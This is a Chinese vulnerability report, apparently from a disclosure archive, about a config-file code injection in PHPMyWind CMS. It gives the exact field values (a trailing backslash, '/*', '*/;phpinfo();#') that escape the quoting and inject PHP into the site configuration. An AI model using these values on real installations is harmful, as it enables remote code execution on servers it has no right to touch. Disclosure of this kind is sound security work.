### 简要描述:
过滤不严。
### 详细说明:
phpmywind 和 dedecms 都挺像的。
在修改配置文件的时候 过滤掉了单引号 防止闭合单引号 Getshell。
```
$cfg_webname = '我的网站';
$cfg_weburl = 'http://127.0.0.1';
$cfg_webpath = '/phpmywind';
$cfg_author = '';
$cfg_generator = 'PHPMyWind CMS';
$cfg_keyword = '';
$cfg_description = '';
```
配置文件 单引号保护。 然后过滤掉单引号。 看似无法从配置文件这里下手
其实还是可以的。 这里并没有过滤转义符。
首先 我们$cfg_webname = '1\';
转义第一行后面的第一个单引号 然后 第一行和第二行的第一个单引号闭合
然后利用多行注释 注释掉 第二行的后面的单引号 和第三行 前面的单引号
然后再利用单行注释 注释掉第三行后面的单引号。
```
$cfg_webname = '\';
$cfg_weburl = '/*';
$cfg_webpath = '*/;phpinfo();#';
```
修改后 就成为了这样。 可以看到第三行的是已经没有单引号的。
因为转义符是会被gpc转义的。 但是他这里gpc on 依旧能拿。
就是因为他在这里 会自动去掉转义字符。
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201403/15205902f6f3280dd21e05f443c09ef9d94dc21c.jpg" alt="10.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/15205902f6f3280dd21e05f443c09ef9d94dc21c.jpg)
不知道怎么回事 写一个\ 配置文件里面没有 写两个\ 就有一个了。
[<img src="https://images.seebug.org/upload/201403/1521004550c9e8c912bd1a206ff89331c26b9025.jpg" alt="PWSC@X8[Y46Q4ZJ0R(8IM9W.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/1521004550c9e8c912bd1a206ff89331c26b9025.jpg)
成功getshell。
```
$cfg_webname = '\';
$cfg_weburl = '/*';
$cfg_webpath = '*/;phpinfo();#';
$cfg_author = '';
$cfg_generator = 'PHPMyWind CMS';
```
暂无评论